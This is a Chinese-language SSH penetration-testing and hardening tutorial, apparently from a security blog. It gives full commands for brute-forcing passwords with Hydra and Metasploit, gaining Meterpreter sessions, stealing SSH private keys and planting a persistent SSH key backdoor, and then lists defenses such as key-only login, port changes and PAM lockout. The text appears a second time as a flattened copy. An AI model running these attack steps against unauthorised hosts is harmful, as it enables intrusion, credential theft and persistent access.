SSH服务安全测试
字数 885 2025-08-25 22:59:09

SSH服务安全测试与防御指南

一、SSH协议概述

Secure Shell(SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。

关键点

  • SSH协议本身是安全的,但实现(如OpenSSH)可能存在漏洞
  • 管理员配置不当或使用弱密码会导致安全隐患
  • SSH服务通常运行在22端口,但可以修改为其他端口

二、SSH信息收集

1. 使用Nmap扫描

nmap -p 22 -sV x.x.x.x

参数说明

  • -p 22:指定扫描22端口
  • -sV:探测服务版本信息

2. 使用Metasploit辅助模块

use auxiliary/scanner/ssh/ssh_version
set RHOSTS x.x.x.x
run

功能

  • 识别SSH服务版本
  • 确认SSH端口开放状态

三、SSH密码暴力破解

1. 使用Hydra工具

hydra -l 用户名 -P 密码字典 -t 线程 -o ssh.log -vV 目标ip ssh

参数说明

  • -l:指定用户名
  • -P:指定密码字典
  • -t:设置线程数
  • -o:保存结果到文件
  • -vV:显示详细过程

2. 使用Metasploit模块

use auxiliary/scanner/ssh/ssh_login
set RHOSTS x.x.x.x
set PASS_FILE /path/to/password.txt
set STOP_ON_SUCCESS true
set USER_FILE /path/to/user.txt
set VERBOSE true
set THREADS 10
run

特点

  • 破解成功后直接获得shell
  • 可设置破解成功后停止
  • 支持多线程

四、获取Meterpreter会话

1. 升级已有shell

sessions -u 会话ID

2. 使用SSH凭证获取

use exploit/multi/ssh/sshexec
set RHOSTS x.x.x.x
set USERNAME root
set PASSWORD password
set SRVHOST 本机IP
run

五、SSH密钥认证配置

1. 生成RSA密钥对

ssh-keygen
cd /root/.ssh
cat id_rsa.pub >> authorized_keys

2. 禁用密码认证

vim /etc/ssh/sshd_config
# 修改以下配置
PasswordAuthentication no
systemctl restart sshd.service

3. 使用密钥登录

ssh -i id_rsa root@x.x.x.x

六、利用私钥获取会话

1. 使用Metasploit模块

use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS x.x.x.x
set USERNAME username
set KEY_PATH /path/to/id_rsa
run

七、窃取SSH密钥

1. 使用后渗透模块

use post/multi/gather/ssh_creds
set SESSION 会话ID
run

2. 使用窃取的密钥

chmod 600 id_rsa
ssh -i id_rsa root@x.x.x.x

八、创建SSH后门

1. 使用后渗透模块

use post/linux/manage/sshkey_persistence
set SESSION 会话ID
set USERNAME username
run

九、SSH安全防御措施

1. 修改默认端口

vim /etc/ssh/sshd_config
# 修改Port 22为其他端口

# 防火墙放行
firewall-cmd --zone=public --add-port=新端口/tcp --permanent
firewall-cmd --reload

# SELinux配置
yum -y install policycoreutils-python
semanage port -a -t ssh_port_t -p tcp 新端口
systemctl restart sshd.service

2. 加强口令策略

  • 8位以上复杂密码
  • 大小写字母、数字、特殊符号组合
  • 定期更换密码

3. 限制应用用户登录

useradd username -s /sbin/nologin

4. 使用PAM限制登录尝试

vim /etc/pam.d/sshd
# 添加以下内容
auth required pam_tally2.so deny=3 even_deny_root root_unlock_time=60 unlock_time=60

5. 及时更新SSH版本

  • 定期检查并安装安全更新
  • 关注安全公告,及时修补漏洞

总结

SSH服务的安全防护需要从多个层面进行:

  1. 信息收集阶段:了解攻击者的探测手段
  2. 认证安全:强化密码策略或使用密钥认证
  3. 服务配置:修改默认端口,限制登录尝试
  4. 系统维护:及时更新补丁,监控异常登录

通过综合运用这些防御措施,可以显著提高SSH服务的安全性,降低被攻击的风险。

SSH服务安全测试与防御指南 一、SSH协议概述 Secure Shell(SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。 关键点 : SSH协议本身是安全的,但实现(如OpenSSH)可能存在漏洞 管理员配置不当或使用弱密码会导致安全隐患 SSH服务通常运行在22端口,但可以修改为其他端口 二、SSH信息收集 1. 使用Nmap扫描 参数说明 : -p 22 :指定扫描22端口 -sV :探测服务版本信息 2. 使用Metasploit辅助模块 功能 : 识别SSH服务版本 确认SSH端口开放状态 三、SSH密码暴力破解 1. 使用Hydra工具 参数说明 : -l :指定用户名 -P :指定密码字典 -t :设置线程数 -o :保存结果到文件 -vV :显示详细过程 2. 使用Metasploit模块 特点 : 破解成功后直接获得shell 可设置破解成功后停止 支持多线程 四、获取Meterpreter会话 1. 升级已有shell 2. 使用SSH凭证获取 五、SSH密钥认证配置 1. 生成RSA密钥对 2. 禁用密码认证 3. 使用密钥登录 六、利用私钥获取会话 1. 使用Metasploit模块 七、窃取SSH密钥 1. 使用后渗透模块 2. 使用窃取的密钥 八、创建SSH后门 1. 使用后渗透模块 九、SSH安全防御措施 1. 修改默认端口 2. 加强口令策略 8位以上复杂密码 大小写字母、数字、特殊符号组合 定期更换密码 3. 限制应用用户登录 4. 使用PAM限制登录尝试 5. 及时更新SSH版本 定期检查并安装安全更新 关注安全公告,及时修补漏洞 总结 SSH服务的安全防护需要从多个层面进行: 信息收集阶段:了解攻击者的探测手段 认证安全:强化密码策略或使用密钥认证 服务配置:修改默认端口,限制登录尝试 系统维护:及时更新补丁,监控异常登录 通过综合运用这些防御措施,可以显著提高SSH服务的安全性,降低被攻击的风险。